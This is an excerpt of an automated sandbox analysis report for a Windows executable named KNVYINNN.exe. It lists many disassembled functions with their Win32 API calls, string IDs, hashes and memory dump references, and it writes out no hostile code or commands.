                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteCharMultiWide_snwprintf
                                                                                                                                                                    • String ID: $%s$@%s$|%}
                                                                                                                                                                    • API String ID: 2650857296-1791629567
                                                                                                                                                                    • Opcode ID: 9cb053ce51d3e54c912a2f88310482384077601e29e7d2ce5379a8bbdb268548
                                                                                                                                                                    • Instruction ID: 30babe61511f858ac3013e5ba3b6fabf47d0d5164d5c0ad6a107916af1c72083
                                                                                                                                                                    • Opcode Fuzzy Hash: 9cb053ce51d3e54c912a2f88310482384077601e29e7d2ce5379a8bbdb268548
                                                                                                                                                                    • Instruction Fuzzy Hash: 7A318F62A09A5295EB10AF5DE4407B9A360FB6778CF801032EF0D07B9DDE7DE609C760
                                                                                                                                                                    Function 00007FF7B1DD9168 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorLast$LoadString$FormatMessageswprintf
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3905710270-1550162156
                                                                                                                                                                    • Opcode ID: 95c05bf5d0b981bc75236debaa99bb72bf5a80c799fe544894f67151ffc98971
                                                                                                                                                                    • Instruction ID: 52d483126510b487476279af8b7cbe62a1392d3b0dd362b93682891984177e17
                                                                                                                                                                    • Opcode Fuzzy Hash: 95c05bf5d0b981bc75236debaa99bb72bf5a80c799fe544894f67151ffc98971
                                                                                                                                                                    • Instruction Fuzzy Hash: A711666270868641FF20BB29E8512E9A350EFAA78CFC41535EB4D4779FDE6CD209C760
                                                                                                                                                                    Function 00007FF7B1DE98E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FeaturePresentProcessor__raise_securityfailurecapture_previous_context
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 838830666-1550162156
                                                                                                                                                                    • Opcode ID: 2fa8fe330f72bc0cf124542a7d1d3115130e54e19384198bee0a3b67d16fd59b
                                                                                                                                                                    • Instruction ID: 8683252934ef5cdfc73f8a26994c247f365d57ddfecc78dff7cce4d4eb9dff47
                                                                                                                                                                    • Opcode Fuzzy Hash: 2fa8fe330f72bc0cf124542a7d1d3115130e54e19384198bee0a3b67d16fd59b
                                                                                                                                                                    • Instruction Fuzzy Hash: 7321FF71A09B1281FF04AB1CE855369F7A4FBA6309FD44135DA8E427A9DFBCA544C720
                                                                                                                                                                    Function 00007FF7B1DDADC8 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: swprintf
                                                                                                                                                                    • String ID: z%s%02d$z%s%d$|%}
                                                                                                                                                                    • API String ID: 233258989-3169889475
                                                                                                                                                                    • Opcode ID: b5ac45d1495a49dbbcbf8b3c11d35adbd8b347af8a683c7206b01eef3d4240a3
                                                                                                                                                                    • Instruction ID: 34518f441174806da0a94eb0dda4c7bc15ad8410b7133f4794f6d110cdaa7c0e
                                                                                                                                                                    • Opcode Fuzzy Hash: b5ac45d1495a49dbbcbf8b3c11d35adbd8b347af8a683c7206b01eef3d4240a3
                                                                                                                                                                    • Instruction Fuzzy Hash: 8C0184A6A0868691EB00AB58E4510E5E350EB96BC8FC04132EB0D0776DDE7CD245C720
                                                                                                                                                                    Function 00007FF7B1DE4018 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CapsDeviceRelease
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 127614599-3916222277
                                                                                                                                                                    • Opcode ID: 08c9cc4778649fc248d699c7c113e2a8962370d80cad9209c0b425acb05ef843
                                                                                                                                                                    • Instruction ID: 7cd50445447f28154b5cc7b313aef1cf699cb724624f2ee8a988fad2ba6ba4cf
                                                                                                                                                                    • Opcode Fuzzy Hash: 08c9cc4778649fc248d699c7c113e2a8962370d80cad9209c0b425acb05ef843
                                                                                                                                                                    • Instruction Fuzzy Hash: 25E0C230B1864182FB0877FEB58953EA3A1AB4CBD1F654035DB0B43788CD3DC4818700
                                                                                                                                                                    Function 00007FF7B1DF4A80 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 4141327611-0
                                                                                                                                                                    • Opcode ID: d880fa9f94960c43d76edc7d46fd7fd12f48158bb94f03d2dbeef91405623373
                                                                                                                                                                    • Instruction ID: d3f36069c264f2747d9a583d27c6c098dcf79748c4a72d2e340cdeaced9ba0d7
                                                                                                                                                                    • Opcode Fuzzy Hash: d880fa9f94960c43d76edc7d46fd7fd12f48158bb94f03d2dbeef91405623373
                                                                                                                                                                    • Instruction Fuzzy Hash: 4341B931A0C74646FB65AF1890C037AE791EF62798F948134DB5C07ADECFACD6418720
                                                                                                                                                                    Function 00007FF7B1DE526C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: wcscatwcscpy
                                                                                                                                                                    • String ID: }$|%}
                                                                                                                                                                    • API String ID: 1670345547-3629761849
                                                                                                                                                                    • Opcode ID: a9c88f60c1601afea071035b7194c2ba327820bb9fdf106b266bc3f2ca692895
                                                                                                                                                                    • Instruction ID: 7f7241a1dfab7695ca60f24bfe9ae720e56a443e6758f7ee6847df17a05eec65
                                                                                                                                                                    • Opcode Fuzzy Hash: a9c88f60c1601afea071035b7194c2ba327820bb9fdf106b266bc3f2ca692895
                                                                                                                                                                    • Instruction Fuzzy Hash: 7D318127A08B8285EF64BB18E455269A3A1FB67789FD48035EB4C0379DEFBCD540C720
                                                                                                                                                                    Function 00007FF7B1DF7C98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7B1DF3527), ref: 00007FF7B1DF7CB1
                                                                                                                                                                    • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7B1DF3527), ref: 00007FF7B1DF7D13
                                                                                                                                                                    • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7B1DF3527), ref: 00007FF7B1DF7D4D
                                                                                                                                                                    • FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7B1DF3527), ref: 00007FF7B1DF7D77
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteCharEnvironmentMultiStringsWide$Free
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1557788787-0
                                                                                                                                                                    • Opcode ID: aa18238654882386b9d0897c17b51a5f9ed15ce0d8f5fb224eeb48b167aa83ff
                                                                                                                                                                    • Instruction ID: d741f18d9905ac16fb01fab5021f735427c820246784d5e4b5158eee7cf68156
                                                                                                                                                                    • Opcode Fuzzy Hash: aa18238654882386b9d0897c17b51a5f9ed15ce0d8f5fb224eeb48b167aa83ff
                                                                                                                                                                    • Instruction Fuzzy Hash: 8621A422A0875181E720AF1A684006DE7A5BB65FD4B884135DB5D23BDCDF7CE5528310
                                                                                                                                                                    Function 00007FF7B1DF4540 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,00007FF7B1DEEEF8,?,?,00000050,00007FF7B1DF0F39), ref: 00007FF7B1DF454A
                                                                                                                                                                    • SetLastError.KERNEL32(?,?,?,00007FF7B1DEEEF8,?,?,00000050,00007FF7B1DF0F39), ref: 00007FF7B1DF45B2
                                                                                                                                                                    • SetLastError.KERNEL32(?,?,?,00007FF7B1DEEEF8,?,?,00000050,00007FF7B1DF0F39), ref: 00007FF7B1DF45C8
                                                                                                                                                                    • abort.LIBCMT ref: 00007FF7B1DF45CE
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorLast$abort
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1447195878-0
                                                                                                                                                                    • Opcode ID: 88bfaefee3b16969abcd629beb7c88dd00db0ae15200f3768ec5c5f7affd9ef2
                                                                                                                                                                    • Instruction ID: 0a0ae53748179114135991927dc97f9bdc0767b8e2799e5b0a34ba6603960508
                                                                                                                                                                    • Opcode Fuzzy Hash: 88bfaefee3b16969abcd629beb7c88dd00db0ae15200f3768ec5c5f7affd9ef2
                                                                                                                                                                    • Instruction Fuzzy Hash: 8A018C14B0920342FB59B77DA699178D3915F76788F980538DB1E02FCEEEACFA414230
                                                                                                                                                                    Function 00007FF7B1DE3FC8 Relevance: 6.0, APIs: 4, Instructions: 21COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CapsDevice$Release
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1035833867-0
                                                                                                                                                                    • Opcode ID: de3163929738922bdc4373ac15e40e607844013dd20d7cdd13a9d9fdb8090fde
                                                                                                                                                                    • Instruction ID: c80ec4816d4013d5d430337232a5209d2d14262a2c427898ec3cb0cbe2922d89
                                                                                                                                                                    • Opcode Fuzzy Hash: de3163929738922bdc4373ac15e40e607844013dd20d7cdd13a9d9fdb8090fde
                                                                                                                                                                    • Instruction Fuzzy Hash: C0E09260E1860282FF087BB9681853992A0BF6A707F944439CA0E4635CDE7DA0458720
                                                                                                                                                                    Function 00007FF7B1DF5118 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo
                                                                                                                                                                    • String ID: e+000$gfff
                                                                                                                                                                    • API String ID: 3215553584-3030954782
                                                                                                                                                                    • Opcode ID: ba747b6ce185f137c8bd639e097530e05e7cded08133b748bf2a946e8a959c91
                                                                                                                                                                    • Instruction ID: 1fb451b6bd9ff06b236d8d333daeb32399bf3da0bbdbfccd08ca4f25ea4e6173
                                                                                                                                                                    • Opcode Fuzzy Hash: ba747b6ce185f137c8bd639e097530e05e7cded08133b748bf2a946e8a959c91
                                                                                                                                                                    • Instruction Fuzzy Hash: B8513B62B187C246E7249B399881369BB91EB63B94F888335D79C47BDECF6CE144C710
                                                                                                                                                                    Function 00007FF7B1DF338C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FileModuleName_invalid_parameter_noinfo
                                                                                                                                                                    • String ID: C:\Users\user\AppData\Roaming\KNVYINNN.exe
                                                                                                                                                                    • API String ID: 3307058713-1522579480
                                                                                                                                                                    • Opcode ID: 9ed515fc78dd58fad28d3394be3f9a7140abdf15cb57f65dadee2c7878335ab5
                                                                                                                                                                    • Instruction ID: bfba4a108238b8650bea85240417a6f02703f1c436f98fb8995064241a03ba1f
                                                                                                                                                                    • Opcode Fuzzy Hash: 9ed515fc78dd58fad28d3394be3f9a7140abdf15cb57f65dadee2c7878335ab5
                                                                                                                                                                    • Instruction Fuzzy Hash: 5C419136A08A5295E715EF29A4500FDA794FB66B98B854035EF0E0778DDF7CE681C320
                                                                                                                                                                    Function 00007FF7B1DE830C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DialogParam
                                                                                                                                                                    • String ID: GETPASSWORD1$|%}
                                                                                                                                                                    • API String ID: 665744214-1521794913
                                                                                                                                                                    • Opcode ID: 2bba49a6705a55baf820351d1348d2c3cae0bfa8233970d76896ad8d2fee6d6e
                                                                                                                                                                    • Instruction ID: 8ee1e38614853f8c804b36146a99e74cacdeb598fb5cdcac622ecb5c6d20917d
                                                                                                                                                                    • Opcode Fuzzy Hash: 2bba49a6705a55baf820351d1348d2c3cae0bfa8233970d76896ad8d2fee6d6e
                                                                                                                                                                    • Instruction Fuzzy Hash: C541D452A0D6C645FB45AB29A8501B9A720AF67B8EFD84035EF4D0736DCEACE541C370
                                                                                                                                                                    Function 00007FF7B1DFB89C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFileLastWrite
